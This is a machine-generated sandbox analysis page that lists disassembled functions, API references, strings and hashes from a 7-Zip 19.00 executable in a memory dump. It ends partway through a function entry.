Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputs$memmove
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2337578458-4238946813
Opcode ID: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction ID: 85d404788405a043a9e97e0ac6f7fc76027f54f34b6aa229cb8f08166498dc38
Opcode Fuzzy Hash: fc1f1692e1a7be690a265933f0a82059642291962d2ae098a8720eef4c07a75c
Instruction Fuzzy Hash: 0D118B73301BD086DA60DF15E9947AEB322F785B94F454022DB6D17768CF38C89AC741

Function 00C0FEC8 Relevance: 16.6, APIs: 8, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00C08624: free.MSVCRT ref: 00C086A9

_CxxThrowException.MSVCRT ref: 00C0FF2F
free.MSVCRT ref: 00C0FFAE
_CxxThrowException.MSVCRT ref: 00C0FFD1
_CxxThrowException.MSVCRT ref: 00C0FFF7
_CxxThrowException.MSVCRT ref: 00C1002B
free.MSVCRT ref: 00C100DF
free.MSVCRT ref: 00C100E7
free.MSVCRT ref: 00C100F5

Strings

Incorrect item in listfile.Check charset encoding and -scs switch., xrefs: 00C0FFDA, 00C1000E
The file operation error for listfile, xrefs: 00C0FF71
Cannot find listfile, xrefs: 00C0FF12

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrow
String ID: Cannot find listfile$Incorrect item in listfile.Check charset encoding and -scs switch.$The file operation error for listfile
API String ID: 4001284683-1604901869
Opcode ID: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction ID: 3c078de113b7538235afa399d5b853046acdda4b3384194a0d61e103558b9d65
Opcode Fuzzy Hash: 96405dd8fb92279f030b02bc931f9dc36b9c89402a3ea1ebc254a3a14f5713aa
Instruction Fuzzy Hash: 84511772314B8592DA20DF12F88079EB720F7967D0F500116EF9913BA9DFB9C986DB00

Function 00C07524 Relevance: 16.4, APIs: 13, Instructions: 153COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0756F
SetLastError.KERNEL32 ref: 00C0758E
free.MSVCRT ref: 00C0759A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction ID: c2df3707c1cd0145d5ffd4224cd43921280ca3fce1800bb1f312dd664b301501
Opcode Fuzzy Hash: 56e310f5247428a7174e856c66c809f8f157f3f47fc266d476a18a669d8f27e7
Instruction Fuzzy Hash: 9451C832A1CA40D2DA24EF29E49166EA760EBC1790F502312B79F436F9CF68DD47DB50

Function 00C43148 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C43184
fputs.MSVCRT ref: 00C43194
fputs.MSVCRT ref: 00C431E1
fputs.MSVCRT ref: 00C431F1

Strings

WARNING, xrefs: 00C431DA
ERROR, xrefs: 00C4317D
WARNINGS:, xrefs: 00C431BE
ERRORS:, xrefs: 00C43164
= , xrefs: 00C4318D, 00C431EA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs
String ID: = $ERROR$ERRORS:$WARNING$WARNINGS:
API String ID: 1795875747-2836439314
Opcode ID: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction ID: d0876aeb8ca386aacbd33dd3733ec240ccc73170e5db181b05102330548f66f3
Opcode Fuzzy Hash: bfaef9fa8df0d205eec04fe16e9a27ef95300a9a3da73fd13572728b12155a0b
Instruction Fuzzy Hash: F61193A630099092FB24DF26E995B5C7720F744BC5F488226CF5907A64DF38DAE9C300

Function 00C465D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C465F8
fputs.MSVCRT ref: 00C46604
fputs.MSVCRT ref: 00C46614

Part of subcall function 00C46460: fputs.MSVCRT ref: 00C464B3

fputs.MSVCRT ref: 00C46643
fputs.MSVCRT ref: 00C46674
free.MSVCRT ref: 00C46680

Strings

MB, xrefs: 00C4663C
, xrefs: 00C465F1
Memory =, xrefs: 00C4660D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free
String ID: $ MB$ Memory =
API String ID: 3873070119-2616823926
Opcode ID: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction ID: 60647f9a73c8e8208e994d4dd6574319ef2d3bfd6294faeba966d78b1ff07165
Opcode Fuzzy Hash: 07695d8419c59f003fa7f84926a4645375bf0ceb04becd9a3de262dbf0bc1305
Instruction Fuzzy Hash: 5611E2B620094191FB20DF25E994B696320FB95BE5F449326EA6E436B4DF38C596C700

Function 00C430CC Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 32COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C430E7
fputs.MSVCRT ref: 00C43104
fputs.MSVCRT ref: 00C43114

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

fputs.MSVCRT ref: 00C43132

Strings

WARNING, xrefs: 00C430F0
ERROR, xrefs: 00C430F7
] archive, xrefs: 00C43125
Open , xrefs: 00C430DD
: Can not open the file as [, xrefs: 00C4310D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free
String ID: : Can not open the file as [$ERROR$Open $WARNING$] archive
API String ID: 3873070119-2741933734
Opcode ID: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction ID: 2a1d221125b8082f7f2d46262c000260898833b265dcabe8e79a9e4142661a8d
Opcode Fuzzy Hash: f32defa99fa0ddd8f5ee8d7903e4695ca461ad93e2af0abed86e02622ffafdb7
Instruction Fuzzy Hash: BDF01269700D0591FE14DF66ECA4B597325B759FC5F449226DE5E033B4DE2CD58AC300

Function 00C3EE5C Relevance: 15.3, APIs: 12, Instructions: 344COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3EFB0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
Instruction ID: 5efe56b2a9d51f9061e421709cfd6054217d3fad4f01783db3fc4537d49c1e99
Opcode Fuzzy Hash: 92278cdab0ad5069273e32549c2c9c770d2a5dfe6a62cd2ad7786a5c7567a585
Instruction Fuzzy Hash: 2EE19A32724B8092DB54DF2AE4947AEB7A0F788F84F00542AEB9E43765DF39C856C740

Function 00C06F50 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00C06F6D
GetTickCount.KERNEL32 ref: 00C06F78
GetCurrentProcessId.KERNEL32 ref: 00C06F85

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

GetTickCount.KERNEL32 ref: 00C07023
SetLastError.KERNEL32 ref: 00C0705C
GetLastError.KERNEL32 ref: 00C07086

Part of subcall function 00C06C84: CreateDirectoryW.KERNEL32 ref: 00C06CA8

Strings

d, xrefs: 00C0709B
.tmp, xrefs: 00C0703B

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CountCurrentErrorLastTick$CreateDirectoryProcessThreadfreememmove
String ID: .tmp$d
API String ID: 3444860307-2797371523
Opcode ID: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
Instruction ID: a574f8d83b3c0628976a787f8dcaac8beec28763d7fff2bcb949b3cda36e7cf8
Opcode Fuzzy Hash: 855db8f89ad4192e1f7aaf537696d0c704f64e19782212e671a724ccd2b912be
Instruction Fuzzy Hash: FF314666614250D7EB389F26E85075DA361B790BC8F449326EE9247BA0CA79D643C701

Function 00C06B2C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C06B4F
GetProcAddress.KERNEL32 ref: 00C06B5F
free.MSVCRT ref: 00C06C0C
free.MSVCRT ref: 00C06C17
free.MSVCRT ref: 00C06C25
free.MSVCRT ref: 00C06C30

Strings

kernel32.dll, xrefs: 00C06B48
CreateHardLinkW, xrefs: 00C06B58

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$AddressHandleModuleProc
String ID: CreateHardLinkW$kernel32.dll
API String ID: 399046674-294928789
Opcode ID: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction ID: 34335b9b15b6610403bf6dc4d410b09dd90a6830d9a963739e80dded011238f9
Opcode Fuzzy Hash: 0711bf2b160802de48a7ad8e62ea8a456af0d095c717e74070ad8e7392e23327
Instruction Fuzzy Hash: B021086321565091DE60EF25EC5176F6710EBC27D0F442236FEAA877E5DE28CD46D700

Function 00C0DEBC Relevance: 13.9, APIs: 11, Instructions: 168COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0DF01
free.MSVCRT ref: 00C0DFEC
free.MSVCRT ref: 00C0E051
free.MSVCRT ref: 00C0E05C
free.MSVCRT ref: 00C0E072
free.MSVCRT ref: 00C0E07D
free.MSVCRT ref: 00C0E0A1
free.MSVCRT ref: 00C0E0A9
free.MSVCRT ref: 00C0E0D2
free.MSVCRT ref: 00C0E0DA
free.MSVCRT ref: 00C0E0E9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
Instruction ID: 523e03bccb28ee3498889a7cc548d55f8b2f9d7dd981b74404ee44f78d18f1d5
Opcode Fuzzy Hash: 7aae74738ebb1fa26e9c45f1fe68a2e26c39cce5353d9637d771cf3076791eab
Instruction Fuzzy Hash: 3451B132215A4185CA20EF66E84016E7760FBC5BE4B485226FF6F477E9EF38CA42D740

Function 00C12C58 Relevance: 13.6, APIs: 9, Instructions: 127COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C12DC0
free.MSVCRT ref: 00C12DC8
free.MSVCRT ref: 00C12DD9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction ID: 801d6bb51a3f607b66da2421af9aa9683fe2521ad99acce8a0c3924e7b459183
Opcode Fuzzy Hash: 4f627721fd3f548a9e12361352d12e7f0c520e4151b4dacedd918d3c46c14af4
Instruction Fuzzy Hash: AD419D27714A9486CB30BF16E8801AD6361F78A7A4F590236EF6E17B64DA34CDD2E740

Function 00C35988 Relevance: 12.7, APIs: 10, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
Instruction ID: 4206fa6791503ad0f9d25fdc0433fdb22b17db1f66b3a1d558227ca504b108ca
Opcode Fuzzy Hash: e1faaf7df75186d5ae884903546cdcce3f308a231f1a81c91827175cf65db9ce
Instruction Fuzzy Hash: CC91F272224B40C6CB20EF25E49476FB360F785B98F506216EB5E477A8DF78C985DB40

Function 00C313E8 Relevance: 12.6, APIs: 10, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C31569
free.MSVCRT ref: 00C31574
free.MSVCRT ref: 00C3157D
free.MSVCRT ref: 00C31588
free.MSVCRT ref: 00C31596
free.MSVCRT ref: 00C315BA
free.MSVCRT ref: 00C315C3
free.MSVCRT ref: 00C315D1
free.MSVCRT ref: 00C315DC
free.MSVCRT ref: 00C32D73

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction ID: 50ee94d6474f771977dcdf1a52f642b740cc3775c79709b9bd54dd88d964cf9d
Opcode Fuzzy Hash: d553175bd705add0397085a2f68dee216f55efb8e0660d055bcfc610d1b73714
Instruction Fuzzy Hash: 3E515877219AD4C5CA20DF26E4947AE7761F78AB88F446012DF8E63B18CF39C856DB04

Function 00C316B2 Relevance: 12.6, APIs: 10, Instructions: 125COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C317E2
free.MSVCRT ref: 00C317ED
free.MSVCRT ref: 00C317F6
free.MSVCRT ref: 00C31801
free.MSVCRT ref: 00C3180F
free.MSVCRT ref: 00C31838
free.MSVCRT ref: 00C31841
free.MSVCRT ref: 00C3184F
free.MSVCRT ref: 00C3185A
free.MSVCRT ref: 00C32D73

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction ID: 0c76b8b1914601e7dcb8fb2490d77d67e23ac659b66d438e1c6d9556daa9bf3f
Opcode Fuzzy Hash: 9943e524698941380e30c423019f5bc2cf16f063716f467c35492b6a2cf77687
Instruction Fuzzy Hash: E94107B6215F8485CA24DF26E8942AE73A1F7CAF95F499422DF4E43724DF38C995C304

Function 00C46A20 Relevance: 12.6, APIs: 10, Instructions: 59COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C46A33
free.MSVCRT ref: 00C46A65
free.MSVCRT ref: 00C46A6D
free.MSVCRT ref: 00C46A7D
free.MSVCRT ref: 00C46A89
free.MSVCRT ref: 00C46ABB
free.MSVCRT ref: 00C46AC3
free.MSVCRT ref: 00C46AD3
free.MSVCRT ref: 00C46ADF
free.MSVCRT ref: 00C46AEB

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction ID: 4a3bed6e97cdd28dfc7434059bea0504cb1598c057c39bfe0cc52b8c5e1bcd52
Opcode Fuzzy Hash: 49e297252a2c8ca67cda62bdf5dff8c128a9f435b231509b57c7dc761cb252a3
Instruction Fuzzy Hash: F4112B33701A9488CB11AE26DC552AC6321EB96F98F1D9176AF2D5F399DF20CD42E390

Function 00C0FC9C Relevance: 12.5, APIs: 10, Instructions: 44COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0FCBA
free.MSVCRT ref: 00C0FCC3
free.MSVCRT ref: 00C0FCCC
free.MSVCRT ref: 00C0FCD5
free.MSVCRT ref: 00C0FCDE
free.MSVCRT ref: 00C0FCE7
free.MSVCRT ref: 00C0FCF0
free.MSVCRT ref: 00C0FCF8
free.MSVCRT ref: 00C0FD00
memmove.MSVCRT ref: 00C0FD1E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction ID: 3a95086725e5d127be557c85ac458c8d0f9b44702daebc269c2f2b0f0a2f7e58
Opcode Fuzzy Hash: 37bd50d8d1977fdd302a0b82f53c3d6d511d758968c823be9149fe37c82b5d04
Instruction Fuzzy Hash: FE010833311A64D2CA14EF26DE9546C7320FB86F947046167AF2E4BBA5DF20DC66D384

Function 00C36528 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C366B0

Strings

\, xrefs: 00C365E5
/, xrefs: 00C365EB
a, xrefs: 00C36589
z, xrefs: 00C36594

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: /$\$a$z
API String ID: 1294909896-3795456795
Opcode ID: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction ID: 6d32832ad9599fd7388418f4d9309f501ed646c01c46483782faa17ce314e52c
Opcode Fuzzy Hash: 92741b9c6097dc57a5422346ae12ec5673efaeb8d1b2f3031f7aecb4c5395baf
Instruction Fuzzy Hash: A841E552A24284F9DB30EF22D0046B937B0F311BD4F89C236EAA503394EB79CAD6D741

Function 00C4870C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C48785
fputs.MSVCRT ref: 00C48795
free.MSVCRT ref: 00C487E7
free.MSVCRT ref: 00C487EF
free.MSVCRT ref: 00C48801

Strings

7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 00C4877E
Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values, xrefs: 00C4878E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$Usage: 7z <command> [<switches>...] <archive_name> [<file_names>...] [@listfile]<Commands> a : Add files to archive b : Benchmark d : Delete files from archive e : Extract files from archive (without using directory names) h : Calculate hash values
API String ID: 2444650769-4238946813
Opcode ID: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction ID: e8a7b05e4c6ef3b175511858e33b722392d2430ec6124d067b4033225715d197
Opcode Fuzzy Hash: 6a807e1f11532017a4cdd53ea1c09d8dec3d45ef8e00fbcf8e020d56cf8062a2
Instruction Fuzzy Hash: CC21C33330568081DA30DF11F9907ADB321F785785F984522DA5D97B58CF3CC989CB40

Function 00C4E3E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00C4E3EF
GetProcAddress.KERNEL32 ref: 00C4E3FF
GetModuleHandleA.KERNEL32 ref: 00C4E413
GetProcAddress.KERNEL32 ref: 00C4E423

Strings

FindFirstStreamW, xrefs: 00C4E3F5
FindNextStreamW, xrefs: 00C4E419
kernel32.dll, xrefs: 00C4E3E8, 00C4E405

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
